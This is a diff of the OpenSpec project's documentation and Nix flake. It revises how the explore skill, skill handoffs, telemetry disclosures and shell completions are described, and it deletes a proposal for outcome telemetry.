||||
|
||||
**IMPORTANT: Follow the template below exactly.** The apply phase parses
|
||||
checkbox format to track progress. Tasks not using `- [ ]` won't be tracked.
|
||||
checkbox format to track progress. A box holding only `x` counts as done,
|
||||
upper or lower case and with any spacing, so `- [ x]` is done too. Every
|
||||
other marker, including `- [~]`, `- [-]` and an empty `- []`, reads as
|
||||
unfinished. A line with no checkbox is not tracked at all.
|
||||
|
||||
Guidelines:
|
||||
- Group related tasks under ## numbered headings
|
||||
@@ -338,6 +365,8 @@ Guidelines:
|
||||
|
||||
Example:
|
||||
```
|
||||
# Tasks
|
||||
|
||||
## 1. Setup
|
||||
|
||||
- [ ] 1.1 Create new module structure
|
||||
|
||||
@@ -39,6 +39,13 @@ The skills come in two sets:
|
||||
- **Core**: installed by default, the main planning loop.
|
||||
- **Optional**: installed only when you add them, via [Profiles](../customize/profiles.md).
|
||||
|
||||
Every skill expects a project that already uses OpenSpec. Before its first step that writes anything, a skill checks for a resolved root. What happens when there is none depends on how the skill was reached:
|
||||
|
||||
- **Auto-selected**: your agent picked the skill on its own, without you naming OpenSpec. It drops OpenSpec and answers your request normally, the way it would with OpenSpec not installed.
|
||||
- **Explicit OpenSpec request**: you named OpenSpec, named the skill, or ran its command. It stops before writing and asks how to proceed: run `openspec init` here, target a store with `--store <id>`, or continue without OpenSpec. It waits for your answer.
|
||||
|
||||
Commands are always the second case. A project whose `openspec/config.yaml` names a store this machine cannot resolve (not registered, or a malformed `store:` line) is not treated as uninitialized: the skill stops and shows the store error with its fix. No skill creates an `openspec/` directory on its own in either case. The entries below describe what each skill does once a root is in place.
|
||||
|
||||
| Skill | Job | Type |
|
||||
|---|---|---|
|
||||
| [openspec-explore](#openspec-explore) | Think through an idea before it becomes a change proposal | Core |
|
||||
@@ -54,6 +61,8 @@ The skills come in two sets:
|
||||
| [openspec-bulk-archive-change](#openspec-bulk-archive-change) | Archive several change proposals at once | Optional |
|
||||
| [openspec-onboard](#openspec-onboard) | Learn the workflow by doing one real change proposal end to end | Optional |
|
||||
|
||||
Each entry below names the skill that owns the next step. When your profile leaves that skill out, the installed files never name it: the handoff becomes the equivalent `openspec` command, or a plain request to you, and a line that exists only to point at a missing skill is not written at all. So the skills you have always hand off to skills you have. Which set you get is [Profiles](../customize/profiles.md).
|
||||
|
||||
## openspec-explore
|
||||
|
||||
Think through an idea before it becomes a change proposal.
|
||||
@@ -82,7 +91,7 @@ Implement a change proposal's tasks, working through the list until done or bloc
|
||||
|---|---|
|
||||
| **Arguments** | A change proposal name (`add-auth`), optional. If the target is ambiguous it lists the active change proposals and asks you to pick. |
|
||||
| **Creates** | Code: the minimal changes each task calls for, in your project files. In the change proposal it touches only the tasks file, checking off each finished task (`- [ ]` to `- [x]`). |
|
||||
| **Response** | Progress per task, then an overall count (N/M tasks complete). All done: suggests `openspec-archive-change`. Blocked by missing artifacts: points to `openspec-continue-change`. Unclear tasks or errors: pauses and asks. |
|
||||
| **Response** | Progress per task, then an overall count (N/M tasks complete). All done: suggests `openspec-archive-change`. Blocked by missing artifacts: points to `openspec-continue-change`, or to `openspec status` and `openspec instructions` when that skill is not installed (the core profile leaves it out). Unclear tasks or errors: pauses and asks. |
|
||||
|
||||
## openspec-update-change
|
||||
|
||||
@@ -92,7 +101,7 @@ other.
|
||||
| Contract | Description |
|
||||
|---|---|
|
||||
| **Arguments** | A change proposal name, optional, plus the revision you want. With no revision stated it runs a coherence review: artifacts checked against each other for contradictions, gaps, and duplication. |
|
||||
| **Creates** | Nothing new. Edits only artifact files that already exist. Missing artifacts are `openspec-continue-change`'s job. Never code. |
|
||||
| **Creates** | Nothing new. Edits only artifact files that already exist. Missing artifacts are `openspec-continue-change`'s job. Without that skill (the core profile leaves it out), it points to `openspec status` and `openspec instructions` instead. Never code. |
|
||||
| **Response** | Shows each proposed revision and writes it only after you confirm, one artifact at a time. Ends with what was revised and the next step; implementation waits for `openspec-apply-change`. |
|
||||
|
||||
## openspec-sync-specs
|
||||
|
||||
@@ -49,7 +49,7 @@ The id goes to `openspec init --tools <id>` to skip the picker ([CLI](cli.md)).
|
||||
| Trae | `trae` | `.trae/skills/` | `/openspec-apply-change` | `.trae/commands/` | `/opsx-apply` |
|
||||
| ZCode | `zcode` | `.zcode/skills/` | `/openspec-apply-change` | `.zcode/commands/opsx/` | `/opsx:apply` |
|
||||
| Zoo Code | `roocode` | `.roo/skills/` | `/openspec-apply-change` | `.roo/commands/` | `/opsx-apply` |
|
||||
| Shared `.agents` skills | `agents` | `.agents/skills/` | `/openspec-apply-change` | none | none |
|
||||
| Other / Universal | `agents` | `.agents/skills/` | `/openspec-apply-change` | none | none |
|
||||
|
||||
- **Skill invocation**: whether a tool registers skills as typed entries is the tool's
|
||||
own behavior. The column shows the spelling OpenSpec uses in generated files and in
|
||||
@@ -118,10 +118,13 @@ init prints this reminder after install.
|
||||
- **Safe across projects**: a commands-only delivery leaves the global skills in
|
||||
place, so one project's setting cannot remove skills another project uses.
|
||||
|
||||
### Shared `.agents` skills
|
||||
### Other / Universal (shared `.agents` skills)
|
||||
|
||||
- **When it fits**: any tool that reads the shared `.agents/skills/` folder,
|
||||
including tools with no row in the matrix.
|
||||
including tools with no row in the matrix. It is the entry to pick when your
|
||||
assistant is not listed. The init picker's search box finds it by `universal`,
|
||||
`other`, `generic`, `custom`, `proprietary`, `unlisted`, `unsupported`,
|
||||
`vendor-neutral`, or `agents.md`.
|
||||
- **Alongside other targets**: Antigravity, Codex, Zed Agent, and this target share
|
||||
one physical skill tree. OpenSpec records one writer in `.openspec-target` and
|
||||
writes the tree once per run. Each tool's separate command files are still
|
||||
|
||||
@@ -94,6 +94,11 @@ That leaves nothing on your PATH, so there's no install to check afterward.
|
||||
|
||||
To put OpenSpec in a project dev shell instead, add the flake as an input and use its default package; [flake.nix](https://github.com/Fission-AI/OpenSpec/blob/main/flake.nix) lists the outputs.
|
||||
|
||||
The Nix package ships the Bash, Fish, and Zsh completion scripts at the standard
|
||||
locations (`share/bash-completion/completions`, `share/fish/vendor_completions.d`,
|
||||
`share/zsh/site-functions`), so they load with the package and there is no need to run
|
||||
`openspec completion install`.
|
||||
|
||||
### Check it worked
|
||||
|
||||
Whichever method you used, in your terminal:
|
||||
|
||||
@@ -17,7 +17,7 @@ flowchart LR
|
||||
archive -. "next change" .-> explore
|
||||
```
|
||||
|
||||
Every prompt below goes in your AI chat, the same place you ask for code. Each invokes an OpenSpec skill by name, the same spelling in every tool. A plain ask works too ("propose a change to add rate limiting"). Some tools add shorter command aliases (`/opsx:propose` in Claude Code, [other tools vary](../reference/supported-tools.md)).
|
||||
Every prompt below goes in your AI chat, the same place you ask for code. Each invokes an OpenSpec skill by name, the same spelling in every tool. A plain ask works too ("propose a change to add rate limiting"), and so does naming the step directly - "openspec propose", "opsx apply" - which runs the workflow instead of hand-building the files. (`openspec update` is a real CLI command that refreshes generated files, so say "openspec update change" for that workflow.) Some tools add shorter command aliases (`/opsx:propose` in Claude Code, [other tools vary](../reference/supported-tools.md)).
|
||||
|
||||
## Step 1: Explore
|
||||
|
||||
@@ -27,7 +27,7 @@ Think the idea through with your agent before you ask for a plan. In your AI cha
|
||||
/openspec-explore how rate limiting should work in this app
|
||||
```
|
||||
|
||||
Explore is a thinking mode. The agent investigates your codebase, asks the questions that matter, sketches options, and challenges assumptions. It writes no code and no files. The output is a sharper idea.
|
||||
Explore is a thinking mode. The agent investigates your codebase, asks the questions that matter, sketches options, and challenges assumptions. It never writes code. It writes nothing else unless you ask it to capture what you decided, or say yes when it offers. The output is a sharper idea.
|
||||
|
||||
Stay here as long as the problem needs. When the shape feels right, hand it off:
|
||||
|
||||
|
||||
+1
-1
@@ -11,7 +11,7 @@ If you read nothing else, read these two pages:
|
||||
|
||||
That second one matters more than it looks. OpenSpec has two halves: a command line tool you run in your terminal, and slash commands you give to your AI assistant. Knowing which is which saves you the most common moment of confusion.
|
||||
|
||||
> **The best habit to build first: when you're not sure what to build, start with `/opsx:explore`.** It's a no-stakes thinking partner that reads your code, weighs options, and sharpens a fuzzy idea into a concrete plan before any artifact or code exists. The [Explore First](explore.md) guide makes the case.
|
||||
> **The best habit to build first: when you're not sure what to build, start with `/opsx:explore`.** It's a no-stakes thinking partner that reads your code, weighs options, and sharpens a fuzzy idea into a concrete plan before any code gets written. The [Explore First](explore.md) guide makes the case.
|
||||
|
||||
## Pick your path
|
||||
|
||||
|
||||
@@ -47,7 +47,9 @@ deliberately remains the compatibility bare array documented in §4.13:
|
||||
## 4. Command JSON shapes
|
||||
|
||||
### 4.1 `list --json`
|
||||
`{ "changes": [ { "name", "completedTasks", "totalTasks", "lastModified", "status": "no-tasks"|"complete"|"in-progress" } ], "root": RootOutput }` — note the per-change `status` is a string enum here. `--specs`: `{ "specs": [ { "id", "requirementCount" } ], "root" }`.
|
||||
`{ "changes": [ { "name", "completedTasks", "totalTasks", "lastModified", "status": "no-tasks"|"complete"|"in-progress", "nested"?: ["<area>/<name>", ...] } ], "warnings"?: [ { "code", "name", "nested", "message" } ], "root": RootOutput }` — note the per-change `status` is a string enum here. `--specs`: `{ "specs": [ { "id", "requirementCount" } ], "root" }`.
|
||||
|
||||
`warnings` (omitted when empty) reports directories under `changes/` that are not changes. Today the only code is `nested_change_directory`: a namespace folder wrapping change directories, which OpenSpec cannot address because a change is always a directory directly under `changes/`. The same entry carries `nested` on the listed change, whose `status` is then meaningless. Do not treat such an entry as a change; report the message and leave the directories alone.
|
||||
|
||||
### 4.2 `show <item> --json`
|
||||
Change: `{ "id", "title", "deltaCount", "deltas": [...], "root" }`. Spec: `{ "id", "title", "overview", "requirementCount", "requirements": [...], "metadata": { "version", "format", "sourcePath"? }, "root" }`.
|
||||
@@ -110,7 +112,7 @@ setup/register: `{ "store": {id, root, metadata_path?}, "registry": {path, regis
|
||||
`invalid_store_id`, `invalid_store_registry`, `invalid_store_metadata`, `store_registry_busy`, `store_not_found`, `no_store_registry`, `store_registry_changed`, `store_metadata_missing`, `store_metadata_id_mismatch`, `store_metadata_invalid`, `store_id_conflict`, `store_path_conflict`, `store_already_registered` (info).
|
||||
|
||||
### Store setup/register/remove
|
||||
`store_setup_id_required`, `store_setup_path_required`, `store_setup_path_not_directory`, `store_setup_inside_git_repo`, `store_setup_non_empty_directory`, `store_setup_cancelled`, `store_path_required`, `store_path_missing`, `store_path_not_directory`, `store_root_pointer_declared`, `store_register_root_unhealthy`, `store_register_identity_confirmation_required`, `store_register_cancelled`, `store_remote_empty`, `store_remote_requires_hand_edit`, `store_remove_confirmation_required`, `store_remove_cancelled`, `store_remove_path_not_directory`, `store_remove_metadata_missing`, `store_root_missing` (warning in remove, error in doctor), `store_root_not_directory`.
|
||||
`store_setup_id_required`, `store_setup_path_required`, `store_setup_path_not_directory`, `store_setup_inside_git_repo`, `store_setup_non_empty_directory`, `store_setup_cancelled`, `store_path_required`, `store_path_missing`, `store_path_not_directory`, `store_root_pointer_declared`, `store_register_root_unhealthy`, `store_register_identity_confirmation_required`, `store_register_cancelled`, `store_remote_empty`, `store_remote_requires_hand_edit`, `store_remove_confirmation_required`, `store_remove_cancelled`, `store_remove_path_not_directory`, `store_remove_metadata_missing`, `store_remove_contains_registered_store`, `store_root_missing` (warning in remove, error in doctor), `store_root_not_directory`.
|
||||
|
||||
### Store git
|
||||
`store_git_init_failed`, `store_git_identity_missing`, `store_git_commit_failed`, `store_git_no_commits` (warning), `store_clone_fragile_directories` (warning), `store_remote_divergence` (info, doctor), `store_checkout_drift` (info, doctor).
|
||||
|
||||
+1
-4
@@ -1183,10 +1183,7 @@ openspec config profile core
|
||||
```
|
||||
|
||||
**Telemetry opt-out:** `telemetry.enabled` defaults to on when unset (opt-out model).
|
||||
Set it to `false` to disable pseudonymous usage stats and the `openspec update` version check.
|
||||
`OPENSPEC_TELEMETRY_DEBUG=1` prints every event that would be sent to stderr and sends nothing, so you can
|
||||
see exactly what is collected. `openspec config get telemetry` reports the current state, the anonymous id,
|
||||
and the file holding it.
|
||||
Set it to `false` to disable anonymous usage stats and the `openspec update` version check.
|
||||
Environment variables take precedence over config: `OPENSPEC_TELEMETRY=0`, `DO_NOT_TRACK=1`,
|
||||
and a truthy `CI` value (e.g. `true`/`1`/`yes`) always disable telemetry regardless of the config value.
|
||||
|
||||
|
||||
+11
-4
@@ -78,7 +78,7 @@ AI: Created openspec/changes/add-dark-mode/
|
||||
|
||||
### `/opsx:explore`
|
||||
|
||||
> **Start here when you're unsure.** Explore is a no-stakes thinking partner: it reads your codebase, compares options, and sharpens a fuzzy idea into a concrete plan before any change exists. It ships in the default profile. For the full case and more examples, see the [Explore First](explore.md) guide.
|
||||
> **Start here when you're unsure.** Explore is a no-stakes thinking partner: it reads your codebase, compares options, and sharpens a fuzzy idea into a concrete plan before any code gets written. It ships in the default profile. For the full case and more examples, see the [Explore First](explore.md) guide.
|
||||
|
||||
Think through ideas, investigate problems, and clarify requirements before committing to a change.
|
||||
|
||||
@@ -97,6 +97,7 @@ Think through ideas, investigate problems, and clarify requirements before commi
|
||||
- Investigates the codebase to answer questions
|
||||
- Compares options and approaches
|
||||
- Creates visual diagrams to clarify thinking
|
||||
- Captures the exploration when you ask, or when you say yes to its offer: scaffolds a change with `openspec new change` and writes the planning artifacts you name, or updates an existing change's artifacts
|
||||
- Can transition to `/opsx:propose` (default) or `/opsx:new` (expanded workflow) when insights crystallize
|
||||
|
||||
**Example:**
|
||||
@@ -119,14 +120,20 @@ AI: Let me investigate your current auth setup...
|
||||
|
||||
Your API already has CORS configured. Which direction interests you?
|
||||
|
||||
You: Let's go with JWT. Can we start a change for that?
|
||||
You: Let's go with JWT.
|
||||
|
||||
AI: Ready when you are. Run /opsx:propose add-jwt-auth to begin.
|
||||
AI: That's a decision worth keeping. Want me to start a change called
|
||||
add-jwt-auth? Just the change folder, nothing else yet.
|
||||
|
||||
You: Yes.
|
||||
|
||||
AI: Started openspec/changes/add-jwt-auth/. Say the word and I'll
|
||||
write the proposal, specs, and tasks from what we just worked out.
|
||||
```
|
||||
|
||||
**Tips:**
|
||||
- Use when requirements are unclear or you need to investigate
|
||||
- No artifacts are created during exploration
|
||||
- It never writes code, and writes nothing else unless you ask, or say yes when it offers
|
||||
- Good for comparing multiple approaches before deciding
|
||||
- Can read files and search the codebase
|
||||
|
||||
|
||||
+1
-1
@@ -68,7 +68,7 @@ Tip: for a fix, a good scenario is the regression test in prose. "GIVEN a logged
|
||||
|
||||
**When to use it:** you have a problem but not yet a plan. You're not sure what to build, or which approach is right.
|
||||
|
||||
Start with `/opsx:explore`. It's a thinking partner with no structure and no artifacts created. It reads your codebase and helps you decide.
|
||||
Start with `/opsx:explore`. It's a thinking partner with no structure. It never writes code, and writes nothing else unless you ask it to capture what you decided, or say yes when it offers. It reads your codebase and helps you decide.
|
||||
|
||||
```text
|
||||
You: /opsx:explore
|
||||
|
||||
+12
-6
@@ -1,6 +1,6 @@
|
||||
# Explore First
|
||||
|
||||
**`/opsx:explore` is your thinking partner. Reach for it whenever you have a problem but not yet a plan.** It investigates your codebase, weighs options with you, and clarifies what you actually want, all before a single artifact or line of code is created. When the picture is clear, it hands off to `/opsx:propose`.
|
||||
**`/opsx:explore` is your thinking partner. Reach for it whenever you have a problem but not yet a plan.** It investigates your codebase, weighs options with you, and clarifies what you actually want, all before a line of code is written. When the picture is clear, it hands off to `/opsx:propose`.
|
||||
|
||||
If you take one habit from these docs, take this one: **when you're not sure, explore before you propose.**
|
||||
|
||||
@@ -27,14 +27,16 @@ Explore is a **conversation**, not a generator.
|
||||
- Compare options and name the tradeoffs of each.
|
||||
- Draw diagrams to make a design legible.
|
||||
- Help you narrow a vague idea into a concrete, buildable scope.
|
||||
- Capture the exploration when you ask, or when you accept its offer: it scaffolds the change with `openspec new change` and writes the planning artifacts you named, or updates an existing change's artifacts.
|
||||
- Transition to `/opsx:propose` when you're ready.
|
||||
|
||||
**It does not:**
|
||||
- Create a change folder.
|
||||
- Write any artifacts (no proposal, specs, design, or tasks).
|
||||
- Write or modify code.
|
||||
- Write or modify code. Explore never writes code, on any path, capture included.
|
||||
- Design or edit your schemas or templates. Shaping those is a change, not thinking.
|
||||
- Start a change or write an artifact on its own. It writes nothing unless you ask, or say yes when it offers, and then only what you agreed to, plus the setup files starting a change needs (see below).
|
||||
- Push you toward capturing. It offers when the thinking crystallizes; you decide.
|
||||
|
||||
That's the point. Exploring costs you nothing and commits you to nothing. You can explore three dead ends, learn something from each, and only then propose the path that survived.
|
||||
That's the point. Exploring costs you nothing and commits you to nothing until you say so. You can explore three dead ends, learn something from each, and only then propose the path that survived.
|
||||
|
||||
## It's already installed
|
||||
|
||||
@@ -95,6 +97,10 @@ explore ──► propose ──► apply ──► archive
|
||||
|
||||
You can say it in plain language ("let's turn this into a change") or run `/opsx:propose <name>` directly. Either way, the exploration you just did becomes the foundation of the proposal, not throwaway chat.
|
||||
|
||||
You can also ask explore to capture the change itself, without leaving the conversation: "start a change for this" scaffolds the folder, and "write the proposal too" writes exactly the artifacts you named. Scaffolding also lays down the change's own metadata, and fills in anything your project is missing at the top level (`openspec/specs/`, `openspec/changes/archive/`, a `config.yaml`).
|
||||
|
||||
That's the same destination as handing off, with one difference: propose writes the whole set your schema requires to reach implementation, while capture writes only the artifacts you named.
|
||||
|
||||
If you use the expanded command set, explore can hand off to `/opsx:new` instead, for step-by-step artifact creation. See [Workflows](workflows.md).
|
||||
|
||||
## Tips for a good exploration
|
||||
@@ -107,7 +113,7 @@ If you use the expanded command set, explore can hand off to `/opsx:new` instead
|
||||
|
||||
## The honest tradeoffs
|
||||
|
||||
**What you gain:** explore catches wrong turns at the cheapest possible moment, before any artifact exists. It's especially powerful in unfamiliar code, where the AI's ability to read and summarize the system saves you an afternoon of spelunking.
|
||||
**What you gain:** explore catches wrong turns at the cheapest possible moment, before you've committed to anything. It's especially powerful in unfamiliar code, where the AI's ability to read and summarize the system saves you an afternoon of spelunking.
|
||||
|
||||
**What it costs:** a little patience. Explore is a conversation, so it's slower than firing off `/opsx:propose` and hoping. For work you genuinely understand already, that extra step is pure overhead, and you should skip it.
|
||||
|
||||
|
||||
+2
-2
@@ -50,7 +50,7 @@ Both are files OpenSpec writes so your assistant can run the workflow. Skills (`
|
||||
|
||||
### Where should I start if I'm not sure what to build?
|
||||
|
||||
With `/opsx:explore`. It's a no-stakes thinking partner that reads your codebase, lays out options, and turns a fuzzy problem into a concrete plan, all before any change or code exists. It's in the default profile, so it's always available. When the plan is clear, it hands off to `/opsx:propose`. This is the single best habit to form, because it stops an eager AI from confidently building the wrong thing. See [Explore First](explore.md).
|
||||
With `/opsx:explore`. It's a no-stakes thinking partner that reads your codebase, lays out options, and turns a fuzzy problem into a concrete plan, all before any code gets written. It's in the default profile, so it's always available. When the plan is clear, it hands off to `/opsx:propose`. This is the single best habit to form, because it stops an eager AI from confidently building the wrong thing. See [Explore First](explore.md).
|
||||
|
||||
### What's the simplest possible flow?
|
||||
|
||||
@@ -132,7 +132,7 @@ OpenSpec works best with high-reasoning models. The README recommends models lik
|
||||
|
||||
### Does OpenSpec collect data?
|
||||
|
||||
It collects pseudonymous usage stats: the command you ran, how it ended, and bounded run context such as OS and Node major. No arguments, paths, content, item names, or personal data, and it's off automatically in CI. Every property has a fixed set of possible values — see the full list in the README. Print exactly what would be sent with `OPENSPEC_TELEMETRY_DEBUG=1`. Opt out with `export OPENSPEC_TELEMETRY=0` or `export DO_NOT_TRACK=1`.
|
||||
It collects anonymous usage stats: command names and version only. No arguments, paths, content, or personal data, and it's off automatically in CI. Opt out with `export OPENSPEC_TELEMETRY=0` or `export DO_NOT_TRACK=1`.
|
||||
|
||||
### How do I upgrade?
|
||||
|
||||
|
||||
@@ -26,7 +26,7 @@ Two terminal steps to set up, then you live in chat. The rest of this guide unpa
|
||||
|
||||
**Don't want to do the terminal part yourself?** Paste the [setup prompt](installation.md#install-with-your-ai-assistant) into your assistant and it handles both lines, then reports what it created.
|
||||
|
||||
> **Not sure what to build yet? Start with `/opsx:explore`.** It's a no-stakes thinking partner that reads your codebase, weighs options, and sharpens a fuzzy idea into a concrete plan, all before any artifact or code exists. When the picture is clear, it hands off to `/opsx:propose`. This is the single best habit for working with an AI that will otherwise confidently build the wrong thing. See the [Explore guide](explore.md).
|
||||
> **Not sure what to build yet? Start with `/opsx:explore`.** It's a no-stakes thinking partner that reads your codebase, weighs options, and sharpens a fuzzy idea into a concrete plan, all before any code gets written. When the picture is clear, it hands off to `/opsx:propose`. This is the single best habit for working with an AI that will otherwise confidently build the wrong thing. See the [Explore guide](explore.md).
|
||||
|
||||
## How It Works
|
||||
|
||||
|
||||
+1
-1
@@ -46,7 +46,7 @@ Terms are grouped by topic, then alphabetized within each group.
|
||||
|
||||
**Slash command.** A command you type into your AI assistant's chat, like `/opsx:propose`. Slash commands drive the workflow. They are not terminal commands. See [How Commands Work](how-commands-work.md).
|
||||
|
||||
**Explore (`/opsx:explore`).** The thinking-partner command. It reads your codebase, compares options, and clarifies a fuzzy idea into a concrete plan, creating no artifacts and writing no code. The recommended starting point whenever you have a problem but not yet a plan. See [Explore First](explore.md).
|
||||
**Explore (`/opsx:explore`).** The thinking-partner command. It reads your codebase, compares options, and clarifies a fuzzy idea into a concrete plan. It never writes code, and writes nothing else unless you ask it to capture the exploration as a change, or say yes when it offers. The recommended starting point whenever you have a problem but not yet a plan. See [Explore First](explore.md).
|
||||
|
||||
**CLI.** The `openspec` program you run in your terminal. It sets up projects, lists and validates changes, opens the dashboard, and archives. The terminal half of OpenSpec. See [CLI](cli.md).
|
||||
|
||||
|
||||
+1
-1
@@ -56,7 +56,7 @@ In the default setup, your day looks like this. Optionally think it through firs
|
||||
/opsx:archive → specs updated, change archived
|
||||
```
|
||||
|
||||
**When in doubt, start by exploring.** `/opsx:explore` is a no-stakes thinking partner: it reads your code, lays out options, and turns a fuzzy idea into a concrete plan before any artifact exists. It's the best antidote to an AI that will otherwise build *something* from a vague prompt. Already know exactly what you want? Skip straight to `/opsx:propose`. Either way, explore ships in the default profile, so it's always there. See the [Explore guide](explore.md).
|
||||
**When in doubt, start by exploring.** `/opsx:explore` is a no-stakes thinking partner: it reads your code, lays out options, and turns a fuzzy idea into a concrete plan before any code gets written. It's the best antidote to an AI that will otherwise build *something* from a vague prompt. Already know exactly what you want? Skip straight to `/opsx:propose`. Either way, explore ships in the default profile, so it's always there. See the [Explore guide](explore.md).
|
||||
|
||||
Those are slash commands, typed in your AI assistant's chat. Setup (`openspec init`) happens in your terminal. If that split is new to you, read [How Commands Work](how-commands-work.md) first; it's the most common point of confusion.
|
||||
|
||||
|
||||
+2
-2
@@ -140,7 +140,7 @@ You: Yes.
|
||||
You: /opsx:propose rebuild-search-index-on-write
|
||||
```
|
||||
|
||||
Explore creates no artifacts and writes no code. It's a free, no-stakes conversation that turns a vague worry into a precise change, so the proposal that follows is sharp. Already know exactly what you want? Skip it and go straight to `/opsx:propose`. Full guide: [Explore First](explore.md).
|
||||
Explore never writes code, and writes nothing else unless you ask, or say yes when it offers. It's a free, no-stakes conversation that turns a vague worry into a precise change, so the proposal that follows is sharp. Already know exactly what you want? Skip it and go straight to `/opsx:propose`. Full guide: [Explore First](explore.md).
|
||||
|
||||
### Expanded/Full Workflow (custom selection)
|
||||
|
||||
@@ -493,7 +493,7 @@ AI: Let me investigate your current setup and options...
|
||||
Your current stack suggests #1 or #2. What's your scale?
|
||||
```
|
||||
|
||||
Exploration clarifies thinking before you create artifacts.
|
||||
Exploration clarifies thinking before any code gets written.
|
||||
|
||||
### Verify Before Archiving
|
||||
|
||||
|
||||
@@ -52,10 +52,11 @@
|
||||
inherit (finalAttrs) pname version src;
|
||||
pnpm = pkgs.pnpm_10;
|
||||
fetcherVersion = 3;
|
||||
hash = "sha256-hET2NApPPSep8v59HcVGk3jfWLssaBnQisJF0Gx7ZE8=";
|
||||
hash = "sha256-oz4tsfu05IPDMaBBp5jLbfsxvTmw1oVtNFtpvudCOPE=";
|
||||
};
|
||||
|
||||
nativeBuildInputs = with pkgs; [
|
||||
installShellFiles
|
||||
nodejs_22
|
||||
npmHooks.npmInstallHook
|
||||
pnpmConfigHook
|
||||
@@ -72,6 +73,21 @@
|
||||
|
||||
dontNpmPrune = true;
|
||||
|
||||
# `openspec completion generate` renders a static command registry, so it
|
||||
# needs no project and no network. Opting out of telemetry also disables
|
||||
# the update check, keeping the build offline.
|
||||
postInstall = lib.optionalString (pkgs.stdenv.buildPlatform.canExecute pkgs.stdenv.hostPlatform) ''
|
||||
export OPENSPEC_TELEMETRY=0
|
||||
completions=$(mktemp -d)
|
||||
for shell in bash fish zsh; do
|
||||
$out/bin/openspec completion generate "$shell" > "$completions/openspec.$shell"
|
||||
done
|
||||
installShellCompletion --cmd openspec \
|
||||
--bash "$completions/openspec.bash" \
|
||||
--fish "$completions/openspec.fish" \
|
||||
--zsh "$completions/openspec.zsh"
|
||||
'';
|
||||
|
||||
meta = with pkgs.lib; {
|
||||
description = "AI-native system for spec-driven development";
|
||||
homepage = "https://github.com/Fission-AI/OpenSpec";
|
||||
|
||||
@@ -1,122 +0,0 @@
|
||||
# Record command outcomes in anonymous telemetry
|
||||
|
||||
## Why
|
||||
|
||||
Telemetry today fires once, in the `preAction` hook, carrying `command`,
|
||||
`version`, and `surface` (`src/telemetry/index.ts`, `trackCommand`). It can
|
||||
answer "how often is `archive` run" and nothing else.
|
||||
|
||||
It cannot answer any question we act on:
|
||||
|
||||
- Did the command **succeed**? Nothing is recorded after the action runs.
|
||||
- If it failed, **how**? Every command catches its own error, prints
|
||||
`Error: <message>`, and sets `process.exitCode = 1`. The class of failure
|
||||
never leaves the process.
|
||||
- Was the caller a **person or an agent**? Both look identical.
|
||||
- Do users get from `init` to a first archived change? Unknown.
|
||||
|
||||
Worse, failures are the *least* visible runs. Seventeen call sites in
|
||||
`src/cli/index.ts` end with `process.exit(1)`, which skips commander's
|
||||
`postAction` hook — the trap the code already documents at
|
||||
`src/cli/index.ts:317` and `:468`. Commander's own usage errors — unknown
|
||||
command, unknown flag, a group run with no subcommand — exit before `preAction`
|
||||
runs, so they produce no event at all. And commander chains hooks without a
|
||||
`catch`, so an error escaping a command's own handling skips the hook too.
|
||||
|
||||
So the runs we most need to see are the ones most likely to vanish: the user
|
||||
who typed the wrong command, and our own bugs.
|
||||
|
||||
The feedback loop is closed only in the good case. Users hitting a confusing
|
||||
failure do not run `openspec feedback` and do not open an issue; they stop using
|
||||
the tool. We ship fixes for the problems that get reported, not the problems
|
||||
that happen.
|
||||
|
||||
This change closes that loop without collecting anything about *what* a user is
|
||||
working on.
|
||||
|
||||
## What Changes
|
||||
|
||||
**One new event, `command_completed`**, emitted on every exit path that reaches
|
||||
our own error handling, carrying the outcome, a bounded error class, a bucketed
|
||||
exit code, and a bucketed duration.
|
||||
|
||||
**A hard property contract.** Every event name, property key, and property value
|
||||
must be a member of a compile-time list, a boolean, or a bucket label — and the
|
||||
allowlist is enforced at send time, not just asserted in a test. This is the
|
||||
structural reason the new data cannot describe what someone is working on: there
|
||||
is no field it could travel in, and an unrecognized field is dropped before the
|
||||
payload is serialized.
|
||||
|
||||
**Bounded run context**: platform, Node major, install kind, invoker, TTY and
|
||||
JSON flags, profile, delivery, a *count* of configured tools, where the schema
|
||||
came from, and a bucketed change count.
|
||||
|
||||
Deliberately excluded, each for a stated reason: schema, artifact, change, spec,
|
||||
and store names, because they are user-authored text; store remotes and paths,
|
||||
because they identify an organization; and **raw millisecond durations**, because
|
||||
they profile the machine and, at an interactive prompt, record human response
|
||||
times.
|
||||
|
||||
**Which assistant people use, without the fingerprint.** Tool identity ships as a
|
||||
separate `tool_configured` event — once per tool per user, carrying no run
|
||||
context at all. That answers how much of the userbase runs Cursor or Claude Code
|
||||
while never assembling the configured *set* alongside platform, install kind, and
|
||||
counts in one row, which is the combination that would single out an unusual
|
||||
user. The `invoker` enum complements it by recording which agent is actually
|
||||
driving a given run.
|
||||
|
||||
**Telemetry never interrupts.** No prompts, ever. It does not block the command,
|
||||
does not delay exit beyond the existing 1-second timeout, and never writes to
|
||||
stdout. The one-line first-run disclosure is a notice on stderr, not a question.
|
||||
|
||||
**Outcome coverage** for all three families of exit that skip the hooks today,
|
||||
including commander's own usage errors — which are invisible now and are exactly
|
||||
the "user typed the wrong thing" signal.
|
||||
|
||||
**Retry visibility.** Whether a user recovers from a failure is the most
|
||||
actionable signal we can have, and it is not otherwise computable. Two bounded
|
||||
properties carry it: the previous run's outcome, and whether it was the same
|
||||
command.
|
||||
|
||||
**Correlation at two scales:** a per-invocation `run_id` whose real job is to
|
||||
reveal exit paths this spec failed to cover, and a `work_session_id` with a
|
||||
30-minute window, because a CLI work session is many invocations and command
|
||||
sequences are not computable without it.
|
||||
|
||||
**Five milestone events** — `install`, `init`, `propose`, `apply`, `archive` —
|
||||
giving the activation funnel a real denominator.
|
||||
|
||||
**`OPENSPEC_TELEMETRY_DEBUG=1`** prints every event that would be sent and sends
|
||||
nothing. It works when telemetry is *disabled*, since the person most likely to
|
||||
want it is someone who opted out and is deciding whether to opt back in, and it
|
||||
never creates the anonymous id it is being used to inspect.
|
||||
|
||||
**Data subject controls**: `openspec config get telemetry` shows the state, the
|
||||
id, and the file holding it; deleting the id severs all future events from all
|
||||
prior ones; the disclosure carries a retention period and a deletion contact.
|
||||
|
||||
**Honest disclosure.** `SECURITY.md` promises "no environment" and `README.md`
|
||||
promises "only command names and version." This change ends both. The spec
|
||||
requires the changelog to say so under a `Privacy` heading rather than quietly
|
||||
editing the promise, requires a test that fails when an allowlisted property is
|
||||
undocumented, and requires the docs to stop calling the data "anonymous"
|
||||
unqualified — a persistent id plus device characteristics is pseudonymous, and
|
||||
overstating it is what would undermine every other claim on the page.
|
||||
